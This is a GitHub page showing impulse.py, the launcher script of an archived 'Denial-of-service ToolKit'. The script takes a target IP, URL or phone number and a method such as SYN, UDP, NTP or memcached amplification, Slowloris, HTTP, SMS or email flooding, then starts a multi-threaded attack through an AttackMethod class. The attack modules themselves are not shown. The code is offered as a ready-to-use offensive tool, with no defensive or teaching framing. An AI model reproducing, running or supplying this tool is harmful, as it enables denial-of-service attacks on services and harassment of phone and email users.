This repository has been archived by the owner on Oct 30, 2020. It is now read-only.
-
-
Notifications
You must be signed in to change notification settings - Fork 500
/
impulse.py
59 lines (52 loc) · 1.46 KB
/
impulse.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
# Created by LimerBoy
# Import modules
import os
import sys
import argparse
# Go to current dir
os.chdir(os.path.dirname(os.path.realpath(__file__)))
try:
from tools.crash import CriticalError
import tools.addons.clean
import tools.addons.logo
import tools.addons.winpcap
from tools.method import AttackMethod
except ImportError as err:
CriticalError("Failed import some modules", err)
sys.exit(1)
# Parse args
parser = argparse.ArgumentParser(description="Denial-of-service ToolKit")
parser.add_argument(
"--target",
type=str,
metavar="<IP:PORT, URL, PHONE>",
help="Target ip:port, url or phone",
)
parser.add_argument(
"--method",
type=str,
metavar="<SMS/EMAIL/NTP/UDP/SYN/ICMP/POD/SLOWLORIS/MEMCACHED/HTTP>",
help="Attack method",
)
parser.add_argument(
"--time", type=int, default=10, metavar="<time>", help="time in secounds"
)
parser.add_argument(
"--threads", type=int, default=3, metavar="<threads>", help="threads count (1-200)"
)
# Get args
args = parser.parse_args()
threads = args.threads
time = args.time
method = str(args.method).upper()
target = args.target
if __name__ == "__main__":
# Print help
if not method or not target or not time:
parser.print_help()
sys.exit(1)
# Run ddos attack
with AttackMethod(
duration=time, name=method, threads=threads, target=target
) as Flood:
Flood.Start()